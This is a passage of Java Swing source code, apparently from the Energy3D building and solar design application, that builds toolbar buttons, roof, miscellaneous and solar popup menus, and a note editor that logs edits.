final JCheckBoxMenuItem miPyramidRoof = new JCheckBoxMenuItem("Pyramid Roof", new ImageIcon(getClass().getResource("icons/pyramid_roof.png")), true);
final JCheckBoxMenuItem miHipRoof = new JCheckBoxMenuItem("Hip Roof", new ImageIcon(getClass().getResource("icons/hip_roof.png")));
final JCheckBoxMenuItem miShedRoof = new JCheckBoxMenuItem("Shed Roof", new ImageIcon(getClass().getResource("icons/shed_roof.png")));
final JCheckBoxMenuItem miGambrelRoof = new JCheckBoxMenuItem("Gambrel Roof", new ImageIcon(getClass().getResource("icons/gambler_roof.png")));
final JCheckBoxMenuItem miCustomRoof = new JCheckBoxMenuItem("Custom Roof", new ImageIcon(getClass().getResource("icons/custom_roof.png")));
final JCheckBoxMenuItem miGableRoof = new JCheckBoxMenuItem("Gable Conversion", new ImageIcon(getClass().getResource("icons/gable.png")));
final ActionListener roofAction = e -> {
final JCheckBoxMenuItem selected = (JCheckBoxMenuItem) e.getSource();
roofButton.setIcon(selected.getIcon());
if (selected == miPyramidRoof) {
roofCommand = Operation.ADD_ROOF_PYRAMID;
roofButton.setToolTipText("Add a pyramid roof");
} else if (selected == miHipRoof) {
roofCommand = Operation.ADD_ROOF_HIP;
roofButton.setToolTipText("Add a hip roof");
} else if (selected == miShedRoof) {
roofCommand = Operation.ADD_ROOF_SHED;
roofButton.setToolTipText("Add a shed roof");
} else if (selected == miGambrelRoof) {
roofCommand = Operation.ADD_ROOF_GAMBREL;
roofButton.setToolTipText("Add a gambrel roof");
} else if (selected == miCustomRoof) {
roofCommand = Operation.ADD_ROOF_CUSTOM;
roofButton.setToolTipText("Add a custom roof");
} else {
roofCommand = Operation.GABLE_ROOF;
roofButton.setToolTipText("Convert to a gable roof");
}
SceneManager.getInstance().setOperation(roofCommand);
roofButton.setSelected(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
};
miPyramidRoof.addActionListener(roofAction);
miHipRoof.addActionListener(roofAction);
miShedRoof.addActionListener(roofAction);
miGambrelRoof.addActionListener(roofAction);
miCustomRoof.addActionListener(roofAction);
miGableRoof.addActionListener(roofAction);
roofMenu = new JPopupMenu();
roofMenu.add(miPyramidRoof);
roofMenu.add(miHipRoof);
roofMenu.add(miShedRoof);
roofMenu.add(miGambrelRoof);
roofMenu.add(miCustomRoof);
roofMenu.addSeparator();
roofMenu.add(miGableRoof);
bg = new ButtonGroup();
bg.add(miPyramidRoof);
bg.add(miHipRoof);
bg.add(miShedRoof);
bg.add(miGambrelRoof);
bg.add(miCustomRoof);
bg.add(miGableRoof);
// create misc menu
final JCheckBoxMenuItem miWindow = new JCheckBoxMenuItem("Window", new ImageIcon(getClass().getResource("icons/window.png")), true);
final JCheckBoxMenuItem miDoor = new JCheckBoxMenuItem("Door", new ImageIcon(getClass().getResource("icons/door.png")), true);
final JCheckBoxMenuItem miFloor = new JCheckBoxMenuItem("Floor", new ImageIcon(getClass().getResource("icons/floor.png")));
final JCheckBoxMenuItem miPlant = new JCheckBoxMenuItem("Plant", new ImageIcon(getClass().getResource("icons/plant.png")), true);
final JCheckBoxMenuItem miHuman = new JCheckBoxMenuItem("Human", new ImageIcon(getClass().getResource("icons/human.png")));
final JCheckBoxMenuItem miSensor = new JCheckBoxMenuItem("Sensor Module", new ImageIcon(getClass().getResource("icons/sensor.png")));
final JCheckBoxMenuItem miTapeMeasure = new JCheckBoxMenuItem("Tape Measure", new ImageIcon(getClass().getResource("icons/tape_measure.png")));
miTapeMeasure.setEnabled(false);
final ActionListener miscAction = e -> {
final JCheckBoxMenuItem selected = (JCheckBoxMenuItem) e.getSource();
miscButton.setIcon(selected.getIcon());
if (selected == miWindow) {
miscCommand = SceneManager.Operation.DRAW_WINDOW;
miscButton.setToolTipText("Draw a window");
} else if (selected == miDoor) {
miscCommand = SceneManager.Operation.DRAW_DOOR;
miscButton.setToolTipText("Draw a door");
} else if (selected == miFloor) {
miscCommand = SceneManager.Operation.ADD_FLOOR;
miscButton.setToolTipText("Add a floor");
} else if (selected == miPlant) {
miscCommand = SceneManager.Operation.ADD_PLANT;
miscButton.setToolTipText("Add a plant");
} else if (selected == miHuman) {
miscCommand = SceneManager.Operation.ADD_HUMAN;
miscButton.setToolTipText("Add a human");
} else if (selected == miSensor) {
miscCommand = SceneManager.Operation.ADD_SENSOR;
miscButton.setToolTipText("Add a sensor module");
} else if (selected == miTapeMeasure) {
miscCommand = SceneManager.Operation.ADD_TAPE_MEASURE;
miscButton.setToolTipText("Add a tape measure");
}
SceneManager.getInstance().setOperation(miscCommand);
miscButton.setSelected(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
};
miWindow.addActionListener(miscAction);
miDoor.addActionListener(miscAction);
miFloor.addActionListener(miscAction);
miPlant.addActionListener(miscAction);
miHuman.addActionListener(miscAction);
miSensor.addActionListener(miscAction);
miTapeMeasure.addActionListener(miscAction);
miscMenu = new JPopupMenu();
miscMenu.add(miWindow);
miscMenu.add(miDoor);
miscMenu.add(miFloor);
miscMenu.addSeparator();
miscMenu.add(miPlant);
miscMenu.add(miHuman);
miscMenu.addSeparator();
miscMenu.add(miSensor);
miscMenu.add(miTapeMeasure);
bg = new ButtonGroup();
bg.add(miWindow);
bg.add(miDoor);
bg.add(miFloor);
bg.add(miPlant);
bg.add(miHuman);
bg.add(miSensor);
bg.add(miTapeMeasure);
// create solar menu
final JCheckBoxMenuItem miRack = new JCheckBoxMenuItem("Solar Panel Rack", new ImageIcon(getClass().getResource("icons/rack.png")), true);
final JCheckBoxMenuItem miSolarPanel = new JCheckBoxMenuItem("Single Solar Panel", new ImageIcon(getClass().getResource("icons/solar_panel.png")));
final JCheckBoxMenuItem miHeliostat = new JCheckBoxMenuItem("Heliostat", new ImageIcon(getClass().getResource("icons/mirror.png")));
final JCheckBoxMenuItem miParabolicTrough = new JCheckBoxMenuItem("Parabolic Trough", new ImageIcon(getClass().getResource("icons/parabolic_trough.png")));
final JCheckBoxMenuItem miParabolicDish = new JCheckBoxMenuItem("Parabolic Dish", new ImageIcon(getClass().getResource("icons/parabolic_dish.png")));
final JCheckBoxMenuItem miFresnelReflector = new JCheckBoxMenuItem("Linear Fresnel Reflector", new ImageIcon(getClass().getResource("icons/fresnel_reflector.png")));
final JCheckBoxMenuItem miSolarWaterHeater = new JCheckBoxMenuItem("Solar Water Heater", new ImageIcon(getClass().getResource("icons/solar_water_heater.png")));
miSolarWaterHeater.setEnabled(false);
final ActionListener solarAction = e -> {
final JCheckBoxMenuItem selected = (JCheckBoxMenuItem) e.getSource();
solarButton.setIcon(selected.getIcon());
if (selected == miSolarPanel) {
solaCommand = Operation.ADD_SOLAR_PANEL;
solarButton.setToolTipText("Add a single solar panel");
} else if (selected == miRack) {
solaCommand = Operation.ADD_RACK;
solarButton.setToolTipText("Add a rack of solar panels");
} else if (selected == miHeliostat) {
solaCommand = Operation.ADD_HELIOSTAT;
solarButton.setToolTipText("Add a heliostat");
} else if (selected == miParabolicTrough) {
solaCommand = Operation.ADD_PARABOLIC_TROUGH;
solarButton.setToolTipText("Add a parabolic trough");
} else if (selected == miParabolicDish) {
solaCommand = Operation.ADD_PARABOLIC_DISH;
solarButton.setToolTipText("Add a parabolic dish");
} else if (selected == miFresnelReflector) {
solaCommand = Operation.ADD_FRESNEL_REFLECTOR;
solarButton.setToolTipText("Add a linear Fresnel reflector");
} else if (selected == miSolarWaterHeater) {
solaCommand = Operation.ADD_SOLAR_WATER_HEATER;
solarButton.setToolTipText("Add a solar water heater");
}
SceneManager.getInstance().setOperation(solaCommand);
solarButton.setSelected(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
};
miSolarPanel.addActionListener(solarAction);
miRack.addActionListener(solarAction);
miSolarWaterHeater.addActionListener(solarAction);
miHeliostat.addActionListener(solarAction);
miParabolicTrough.addActionListener(solarAction);
miParabolicDish.addActionListener(solarAction);
miFresnelReflector.addActionListener(solarAction);
solaMenu = new JPopupMenu();
solaMenu.add(miRack);
solaMenu.add(miSolarPanel);
solaMenu.addSeparator();
solaMenu.add(miSolarWaterHeater);
solaMenu.add(miHeliostat);
solaMenu.add(miParabolicTrough);
solaMenu.add(miParabolicDish);
solaMenu.add(miFresnelReflector);
bg = new ButtonGroup();
bg.add(miSolarPanel);
bg.add(miRack);
bg.add(miSolarWaterHeater);
bg.add(miHeliostat);
bg.add(miParabolicTrough);
bg.add(miParabolicDish);
bg.add(miFresnelReflector);
System.out.println("done");
}
private void initialize() {
JPopupMenu.setDefaultLightWeightPopupEnabled(false);
this.setSize(1000, 300);
setLayout(new BorderLayout());
this.add(getAppToolbar(), BorderLayout.NORTH);
this.add(getEnergyCanvasNoteSplitPane(), BorderLayout.CENTER);
}
JToolBar getAppToolbar() {
if (appToolbar == null) {
appToolbar = new JToolBar();
appToolbar.setFloatable(false);
appToolbar.add(getSelectButton());
appToolbar.add(getZoomButton());
appToolbar.add(getSpinViewButton());
appToolbar.add(getPreviewButton());
appToolbar.add(getNoteButton());
appToolbar.addSeparator();
appToolbar.add(getAnnotationButton());
appToolbar.add(getResizeButton());
appToolbar.add(getRotateButton());
appToolbar.addSeparator();
appToolbar.add(getBaseButton());
appToolbar.add(getBaseArrowButton());
appToolbar.add(getWallButton());
appToolbar.add(getWallArrowButton());
appToolbar.add(getRoofButton());
appToolbar.add(getRoofArrowButton());
appToolbar.add(getMiscButton());
appToolbar.add(getMiscArrowButton());
appToolbar.add(getSolarButton());
appToolbar.add(getSolaArrowButton());
appToolbar.addSeparator();
appToolbar.add(getShadowButton());
appToolbar.add(getHeliodonButton());
appToolbar.add(getSunAnimationButton());
appToolbar.add(getEnergyButton());
final ButtonGroup bg = new ButtonGroup();
bg.add(selectButton);
bg.add(zoomButton);
bg.add(resizeButton);
bg.add(baseButton);
bg.add(wallButton);
bg.add(roofButton);
bg.add(solarButton);
bg.add(miscButton);
}
return appToolbar;
}
private static void addMouseOverEffect(final AbstractButton button) {
if (Config.isMac()) { // Mac OS X does not have the same behavior as Windows 10, so we mimic it for Mac
final Color defaultColor = button.getBackground();
button.setOpaque(true);
button.addMouseListener(new MouseAdapter() {
@Override
public void mouseExited(final MouseEvent e) {
button.setBackground(button.isSelected() ? Color.LIGHT_GRAY : defaultColor);
}
@Override
public void mouseEntered(final MouseEvent e) {
button.setBackground(SystemColor.controlLtHighlight);
}
});
button.addItemListener(e -> button.setBackground(button.isSelected() ? Color.LIGHT_GRAY : defaultColor));
}
}
private JToggleButton getSelectButton() {
if (selectButton == null) {
selectButton = new JToggleButton();
selectButton.addMouseListener(refreshUponMouseExit);
selectButton.setSelected(true);
selectButton.setToolTipText("Select");
selectButton.setIcon(new ImageIcon(MainPanel.class.getResource("icons/select.png")));
selectButton.setFocusable(false);
selectButton.addActionListener(e -> defaultTool());
addMouseOverEffect(selectButton);
}
return selectButton;
}
private JToggleButton getWallButton() {
if (wallButton == null) {
wallButton = new JToggleButton();
wallButton.setIcon(new ImageIcon(getClass().getResource("icons/exterior_wall.png")));
wallButton.setToolTipText("Draw an exterior wall");
wallButton.setFocusable(false);
wallButton.addActionListener(e -> {
SceneManager.getInstance().setOperation(Operation.DRAW_EXTERIOR_WALL);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
wallButton.addMouseListener(operationStickAndRefreshUponExit);
addMouseOverEffect(wallButton);
}
return wallButton;
}
private JButton getWallArrowButton() {
if (wallArrowButton == null) {
wallArrowButton = new JButton();
wallArrowButton.setFocusable(false);
final Dimension d = new Dimension(12, wallButton.getMaximumSize().height);
wallArrowButton.setMaximumSize(d);
wallArrowButton.setIcon(new Symbol.Arrow(Color.BLACK, d.width, d.height));
wallArrowButton.addActionListener(e -> wallMenu.show(wallButton, 0, wallButton.getHeight()));
wallArrowButton.setBorder(BorderFactory.createEmptyBorder());
wallArrowButton.setFocusPainted(false);
}
return wallArrowButton;
}
private JToggleButton getMiscButton() {
if (miscButton == null) {
miscButton = new JToggleButton();
miscButton.setText("");
miscButton.setToolTipText("Draw a window");
miscButton.setIcon(new ImageIcon(getClass().getResource("icons/window.png")));
miscButton.setFocusable(false);
miscButton.addActionListener(e -> {
SceneManager.getInstance().setOperation(miscCommand);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
miscButton.addMouseListener(operationStickAndRefreshUponExit);
addMouseOverEffect(miscButton);
}
return miscButton;
}
private JButton getMiscArrowButton() {
if (miscArrowButton == null) {
miscArrowButton = new JButton();
miscArrowButton.setFocusable(false);
final Dimension d = new Dimension(12, miscButton.getMaximumSize().height);
miscArrowButton.setMaximumSize(d);
miscArrowButton.setIcon(new Symbol.Arrow(Color.BLACK, d.width, d.height));
miscArrowButton.addActionListener(e -> miscMenu.show(miscButton, 0, miscButton.getHeight()));
miscArrowButton.setBorder(BorderFactory.createEmptyBorder());
miscArrowButton.setFocusPainted(false);
}
return miscArrowButton;
}
private JToggleButton getBaseButton() {
if (baseButton == null) {
baseButton = new JToggleButton();
baseButton.setIcon(new ImageIcon(getClass().getResource("icons/foundation.png")));
baseButton.setToolTipText("Draw a foundation");
baseButton.setFocusable(false);
baseButton.addActionListener(e -> {
SceneManager.getInstance().setOperation(baseCommand);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
baseButton.addMouseListener(operationStickAndRefreshUponExit);
addMouseOverEffect(baseButton);
}
return baseButton;
}
private JButton getBaseArrowButton() {
if (baseArrowButton == null) {
baseArrowButton = new JButton();
baseArrowButton.setFocusable(false);
final Dimension d = new Dimension(12, baseButton.getMaximumSize().height);
baseArrowButton.setMaximumSize(d);
baseArrowButton.setIcon(new Symbol.Arrow(Color.BLACK, d.width, d.height));
baseArrowButton.addActionListener(e -> baseMenu.show(baseButton, 0, baseButton.getHeight()));
baseArrowButton.setBorder(BorderFactory.createEmptyBorder());
baseArrowButton.setFocusPainted(false);
}
return baseArrowButton;
}
public JToggleButton getShadowButton() {
if (shadowButton == null) {
shadowButton = new JToggleButton();
shadowButton.addMouseListener(refreshUponMouseExit);
shadowButton.setIcon(new ImageIcon(getClass().getResource("icons/shadow.png")));
shadowButton.setToolTipText("Show shadows");
shadowButton.setFocusable(false);
shadowButton.addItemListener(e -> {
final ShowShadowCommand c = new ShowShadowCommand();
if (SceneManager.getInstance().isSunAnimation() || Heliodon.getInstance().isNightTime()) {
SceneManager.getInstance().setShading(shadowButton.isSelected());
} else {
SceneManager.getInstance().setShading(false);
}
SceneManager.getInstance().setShadow(shadowButton.isSelected());
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
disableSunAnim();
SceneManager.getInstance().getUndoManager().addEdit(c);
// Scene.getInstance().setEdited(false); // shadow not saved -- make sense because it doesn't work on some machines
});
addMouseOverEffect(shadowButton);
}
return shadowButton;
}
public JToggleButton getSpinViewButton() {
if (spinViewButton == null) {
spinViewButton = new JToggleButton();
spinViewButton.addMouseListener(refreshUponMouseExit);
spinViewButton.setIcon(new ImageIcon(getClass().getResource("icons/spin.png")));
spinViewButton.setToolTipText("Spin view");
spinViewButton.setFocusable(false);
spinViewButton.addItemListener(e -> {
SceneManager.getInstance().getUndoManager().addEdit(new SpinViewCommand());
SceneManager.getInstance().toggleSpinView();
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
addMouseOverEffect(spinViewButton);
}
return spinViewButton;
}
public JToggleButton getHeliodonButton() {
if (heliodonButton == null) {
heliodonButton = new JToggleButton();
heliodonButton.addMouseListener(refreshUponMouseExit);
heliodonButton.setIcon(new ImageIcon(getClass().getResource("icons/heliodon.png")));
heliodonButton.setToolTipText("Show heliodon");
heliodonButton.setFocusable(false);
heliodonButton.addItemListener(e -> {
final ShowHeliodonCommand c = new ShowHeliodonCommand();
SceneManager.getTaskManager().update(() -> {
SceneManager.getInstance().setHeliodonVisible(heliodonButton.isSelected());
return null;
});
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
disableSunAnim();
Scene.getInstance().setEdited(true);
SceneManager.getInstance().getUndoManager().addEdit(c);
});
addMouseOverEffect(heliodonButton);
}
return heliodonButton;
}
private void disableSunAnim() {
final boolean enableSunAnim = shadowButton.isSelected() || heliodonButton.isSelected();
sunAnimButton.setEnabled(enableSunAnim);
if (!enableSunAnim && sunAnimButton.isSelected()) {
sunAnimButton.setSelected(false);
SceneManager.getInstance().setSunAnimation(false);
}
}
public JToggleButton getSunAnimationButton() {
if (sunAnimButton == null) {
sunAnimButton = new JToggleButton();
sunAnimButton.addMouseListener(refreshUponMouseExit);
sunAnimButton.setIcon(new ImageIcon(getClass().getResource("icons/sun_anim.png")));
sunAnimButton.setEnabled(false);
sunAnimButton.setToolTipText("Animate sun path");
sunAnimButton.setFocusable(false);
sunAnimButton.addItemListener(e -> {
energyButton.setSelected(false);
final AnimateSunCommand c = new AnimateSunCommand();
SceneManager.getInstance().setSunAnimation(sunAnimButton.isSelected());
if (shadowButton.isSelected()) {
SceneManager.getInstance().setShading(Heliodon.getInstance().isNightTime()); // already run in Task Manager thread
}
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
SceneManager.getInstance().getUndoManager().addEdit(c);
});
addMouseOverEffect(sunAnimButton);
}
return sunAnimButton;
}
public JToggleButton getPreviewButton() {
if (previewButton == null) {
previewButton = new JToggleButton();
previewButton.addMouseListener(refreshUponMouseExit);
previewButton.setIcon(new ImageIcon(getClass().getResource("icons/print_preview.png")));
previewButton.setToolTipText("Preview printable parts");
previewButton.setFocusable(false);
// must be ItemListner to be triggered when selection is changed by code
previewButton.addItemListener(e -> {
MainFrame.getInstance().getPreviewMenuItem().setSelected(previewButton.isSelected());
MainFrame.getInstance().getEditMenu().setEnabled(!previewButton.isSelected());
defaultTool();
SceneManager.getTaskManager().update(() -> {
PrintController.getInstance().setPrintPreview(previewButton.isSelected());
return null;
});
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
addMouseOverEffect(previewButton);
}
return previewButton;
}
public void defaultTool() {
EventQueue.invokeLater(() -> {
getSelectButton().setSelected(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
SceneManager.getInstance().setOperation(Operation.SELECT);
SceneManager.getInstance().refresh();
}
public JToggleButton getAnnotationButton() {
if (annotationButton == null) {
annotationButton = new JToggleButton();
// annotationButton.setSelected(true);
annotationButton.addMouseListener(refreshUponMouseExit);
annotationButton.setIcon(new ImageIcon(getClass().getResource("icons/annotation.png")));
annotationButton.setToolTipText("Show annotations");
annotationButton.setFocusable(false);
annotationButton.addItemListener(e -> {
final ShowAnnotationCommand c = new ShowAnnotationCommand();
SceneManager.getTaskManager().update(() -> {
Scene.getInstance().setAnnotationsVisible(annotationButton.isSelected());
return null;
});
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
Scene.getInstance().setEdited(true);
SceneManager.getInstance().getUndoManager().addEdit(c);
});
addMouseOverEffect(annotationButton);
}
return annotationButton;
}
private JToggleButton getZoomButton() {
if (zoomButton == null) {
zoomButton = new JToggleButton();
zoomButton.addMouseListener(refreshUponMouseExit);
zoomButton.setIcon(new ImageIcon(getClass().getResource("icons/zoom.png")));
zoomButton.setToolTipText("Zoom");
zoomButton.setFocusable(false);
zoomButton.addActionListener(e -> {
if (SceneManager.getInstance().isZoomLock()) {
defaultTool();
} else {
SceneManager.getInstance().setOperation(Operation.SELECT);
SceneManager.getInstance().setZoomLock(true);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
}
});
addMouseOverEffect(zoomButton);
}
return zoomButton;
}
public void setToolbarEnabledForPreview(final boolean enabled) {
// must be run in the event queue as this method may be called in a custom thread
EventQueue.invokeLater(() -> {
for (final Component c : getAppToolbar().getComponents()) {
if (c != getPreviewButton() && c != getSelectButton() && c != getAnnotationButton() && c != getZoomButton() && c != getSpinViewButton()) {
if (!enabled || c != getSunAnimationButton() || getShadowButton().isSelected() || getHeliodonButton().isSelected()) {
c.setEnabled(enabled);
}
}
}
});
}
public void setToolbarEnabledForReplay(final boolean enabled) {
// must be run in the event queue as this method may be called in a custom thread
EventQueue.invokeLater(() -> {
for (final Component c : getAppToolbar().getComponents()) {
if (c != getNoteButton() && c != getShadowButton() && c != getEnergyButton() && c != getHeliodonButton() && c != getSelectButton()
&& c != getAnnotationButton() && c != getZoomButton() && c != getSpinViewButton()) {
if (!enabled || c != getSunAnimationButton() || getShadowButton().isSelected() || getHeliodonButton().isSelected()) {
c.setEnabled(enabled);
}
}
}
});
}
JSplitPane getEnergyCanvasNoteSplitPane() {
if (energyCanvasNoteSplitPane == null) {
energyCanvasNoteSplitPane = new JSplitPane();
energyCanvasNoteSplitPane.setResizeWeight(1.0);
energyCanvasNoteSplitPane.setRightComponent(getEnergyPanel());
energyCanvasNoteSplitPane.setLeftComponent(getCanvasNoteSplitPane());
energyCanvasNoteSplitPane.setBorder(new EmptyBorder(new Insets(0, 0, 0, 0)));
defaultDividerSize = energyCanvasNoteSplitPane.getDividerSize();
}
return energyCanvasNoteSplitPane;
}
private EnergyPanel getEnergyPanel() {
if (energyPanel == null) {
energyPanel = EnergyPanel.getInstance();
}
return energyPanel;
}
public JPanel getCanvasPanel() {
if (canvasPanel == null) {
canvasPanel = new JPanel();
canvasPanel.setLayout(new BorderLayout(0, 0));
}
return canvasPanel;
}
public JToggleButton getEnergyButton() {
if (energyButton == null) {
energyButton = new JToggleButton("");
energyButton.setToolTipText("Calculate energy of the day");
energyButton.setIcon(new ImageIcon(getClass().getResource("icons/calculate.png")));
energyButton.addMouseListener(refreshUponMouseExit);
energyButton.setFocusable(false);
energyButton.addItemListener(e -> {
final EnergyPanel p = EnergyPanel.getInstance();
p.showHeatMapContrastSlider(energyButton.isSelected());
if (energyButton.isSelected()) {
defaultTool();
SceneManager.getInstance().autoSelectBuilding(false);
if (EnergyPanel.getInstance().adjustCellSize()) {
Util.selectSilently(energyButton, false);
} else {
SceneManager.getInstance().computeEnergyView(true);
}
} else {
p.getBuildingDailyEnergyGraph().clearData();
p.getBuildingDailyEnergyGraph().removeGraph();
p.getPvProjectDailyEnergyGraph().clearData();
p.getPvProjectDailyEnergyGraph().removeGraph();
p.getCspProjectDailyEnergyGraph().clearData();
p.getCspProjectDailyEnergyGraph().removeGraph();
SceneManager.getInstance().computeEnergyView(false);
}
});
addMouseOverEffect(energyButton);
}
return energyButton;
}
private JSplitPane getCanvasNoteSplitPane() {
if (canvasNoteSplitPane == null) {
canvasNoteSplitPane = new JSplitPane();
canvasNoteSplitPane.setOrientation(JSplitPane.VERTICAL_SPLIT);
canvasNoteSplitPane.setTopComponent(getCanvasPanel());
canvasNoteSplitPane.setBottomComponent(getNoteScrollPane());
canvasNoteSplitPane.setResizeWeight(0.6);
canvasNoteSplitPane.setDividerSize(0);
getNoteScrollPane().setVisible(false);
}
return canvasNoteSplitPane;
}
private JScrollPane getNoteScrollPane() {
if (noteScrollPane == null) {
noteScrollPane = new JScrollPane(getNoteTextArea(), JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
}
return noteScrollPane;
}
public JTextArea getNoteTextArea() {
if (noteTextArea == null) {
noteTextArea = new JTextArea(new MyPlainDocument()); // want to keep a copy of what was removed
// noteTextArea.setWrapStyleWord(true); // don't call this, line break malfunctions
// noteTextArea.setLineWrap(true);
noteTextArea.getDocument().addDocumentListener(new DocumentListener() {
private void updateEditFlag() {
Scene.getInstance().setEdited(true);
MainFrame.getInstance().updateTitleBar();
}
@Override
public void removeUpdate(final DocumentEvent e) {
updateEditFlag();
SnapshotLogger.getInstance().setNoteEdited(true);
if (noteTextArea.getDocument() instanceof MyPlainDocument) {
String s = ((MyPlainDocument) noteTextArea.getDocument()).getRemovedString();
if (s != null) {
s = s.replace("\n", "-linebreak-");
s = s.replace("\t", "-tab-");
s = s.replace("\\", "\\\\");
s = s.replace("\"", "\\\"");
noteString += "D(" + e.getOffset() + "," + s + ")";
TimeSeriesLogger.getInstance().logNote();
}
}
}
@Override
public void insertUpdate(final DocumentEvent e) {
updateEditFlag();
SnapshotLogger.getInstance().setNoteEdited(true);
String s = null;
try {
s = noteTextArea.getDocument().getText(e.getOffset(), e.getLength());
} catch (final BadLocationException e1) {
e1.printStackTrace();
}
if (s != null) {
s = s.replace("\n", "-linebreak-");
s = s.replace("\t", "-tab-");
s = s.replace("\\", "\\\\");
s = s.replace("\"", "\\\"");
noteString += "I(" + e.getOffset() + "," + s + ")";
TimeSeriesLogger.getInstance().logNote();
}
}
@Override
public void changedUpdate(final DocumentEvent e) {
SnapshotLogger.getInstance().setNoteEdited(true);
}
});
}
return noteTextArea;
}
public void setNoteVisible(final boolean visible) {
setSplitComponentVisible(visible, getCanvasNoteSplitPane(), noteScrollPane);
}
public boolean isNoteVisible() {
return noteTextArea.isShowing();
}
void setSplitComponentVisible(final boolean visible, final JSplitPane splitPane, final Component component) {
getCanvasNoteSplitPane().getSize();
getCanvasPanel().getPreferredSize();
component.setVisible(visible);
splitPane.setDividerSize(visible ? defaultDividerSize : 0);
splitPane.resetToPreferredSizes();
}
private JToggleButton getSolarButton() {
if (solarButton == null) {
solarButton = new JToggleButton("");
solarButton.setToolTipText("Add a solar panel rack");
solarButton.setIcon(new ImageIcon(getClass().getResource("icons/rack.png")));
solarButton.setFocusable(false);
solarButton.addActionListener(e -> {
SceneManager.getInstance().setOperation(solaCommand);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
solarButton.addMouseListener(operationStickAndRefreshUponExit);
addMouseOverEffect(solarButton);
}
return solarButton;
}
private JButton getSolaArrowButton() {
if (solaArrowButton == null) {
solaArrowButton = new JButton();
solaArrowButton.setFocusable(false);
final Dimension d = new Dimension(12, solarButton.getMaximumSize().height);
solaArrowButton.setMaximumSize(d);
solaArrowButton.setIcon(new Symbol.Arrow(Color.BLACK, d.width, d.height));
solaArrowButton.addActionListener(e -> solaMenu.show(solarButton, 0, solarButton.getHeight()));
solaArrowButton.setBorder(BorderFactory.createEmptyBorder());
solaArrowButton.setFocusPainted(false);
}
return solaArrowButton;
}
private JToggleButton getRoofButton() {
if (roofButton == null) {
roofButton = new JToggleButton();
roofButton.setIcon(new ImageIcon(getClass().getResource("icons/pyramid_roof.png")));
roofButton.setToolTipText("Add a pyramid roof");
roofButton.setFocusable(false);
roofButton.addActionListener(e -> {
SceneManager.getInstance().setOperation(roofCommand);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
});
roofButton.addMouseListener(operationStickAndRefreshUponExit);
addMouseOverEffect(roofButton);
}
return roofButton;
}
private JButton getRoofArrowButton() {
if (roofArrowButton == null) {
roofArrowButton = new JButton();
roofArrowButton.setFocusable(false);
final Dimension d = new Dimension(12, roofButton.getMaximumSize().height);
roofArrowButton.setMaximumSize(d);
roofArrowButton.setIcon(new Symbol.Arrow(Color.BLACK, d.width, d.height));
roofArrowButton.addActionListener(e -> roofMenu.show(roofButton, 0, roofButton.getHeight()));
roofArrowButton.setBorder(BorderFactory.createEmptyBorder());
roofArrowButton.setFocusPainted(false);
}
return roofArrowButton;
}
private JToggleButton getResizeButton() {
if (resizeButton == null) {
resizeButton = new JToggleButton();
resizeButton.addMouseListener(refreshUponMouseExit);
resizeButton.setIcon(new ImageIcon(getClass().getResource("icons/resize.png")));
resizeButton.setToolTipText("Resize or move a building");
resizeButton.setFocusable(false);
resizeButton.addActionListener(e -> {
if (SceneManager.getInstance().getOperation() == Operation.RESIZE) {
defaultTool();
} else {
SceneManager.getInstance().setOperation(Operation.RESIZE);
((Component) SceneManager.getInstance().getCanvas()).requestFocusInWindow();
}
});
addMouseOverEffect(resizeButton);
}
return resizeButton;
}
JButton getRotateButton() {
if (rotateButton == null) {
rotateButton = new JButton();
if (Config.isMac()) { // for some reason, the newer version of Mac draws border for JButton (but not JToggleButton)
rotateButton.setBorderPainted(false);
}
rotateButton.addMouseListener(refreshUponMouseExit);
rotateButton.setIcon(new ImageIcon(getClass().getResource("icons/rotate_cw.png")));
rotateButton.setToolTipText("<html>Rotate in the clockwise direction (change azimuth).<br>Hold down the Ctrl key and press this button for counter-clockwise rotation.<br>Hold down the Shift key while pressing this button to rotate more slowly.<br>If a component is selected, rotate around its center. Otherwise rotate everything around the origin.</html>");
rotateButton.setFocusable(false);
addMouseOverEffect(rotateButton);
rotateButton.addMouseListener(new MouseAdapter() {
private volatile boolean mousePressed = false;
@Override
public void mousePressed(final MouseEvent e) {
energyButton.setSelected(false);
mousePressed = true;
final HousePart selectedPart = SceneManager.getInstance().getSelectedPart();
if (selectedPart == null || selectedPart instanceof Tree || selectedPart instanceof Human) {
int count = 0;
HousePart hp = null;
for (final HousePart x : Scene.getInstance().getParts()) {
if (x instanceof Foundation) {
count++;
hp = x;
}
}
if (count == 1) { // if there is only one building, automatically select it to ensure that we always rotate around its center
SceneManager.getInstance().setSelectedPart(hp);
SceneManager.getInstance().refresh();
EnergyPanel.getInstance().updateProperties();
}
}
new Thread("Energy3D Continuous Rotation") {
private int count;
private ChangeAzimuthCommand c;
@Override
public void run() {
final HousePart part = SceneManager.getInstance().getSelectedPart();
if (part != null) {
c = new ChangeAzimuthCommand(part);
}
while (mousePressed) {
SceneManager.getTaskManager().update(() -> {
if (part == null) {
SceneManager.getInstance().rotateAllFoundations(rotationAngle);
} else {
if (part instanceof Foundation) {
SceneManager.getInstance().rotateFoundation(rotationAngle, true);
} else if (part instanceof SolarPanel) {
final SolarPanel solarPanel = (SolarPanel) part;
solarPanel.setRelativeAzimuth(solarPanel.getRelativeAzimuth() + Math.toDegrees(rotationAngle));
solarPanel.draw();
} else if (part instanceof Rack) {
final Rack rack = (Rack) part;
rack.setRelativeAzimuth(rack.getRelativeAzimuth() + Math.toDegrees(rotationAngle));
rack.draw();
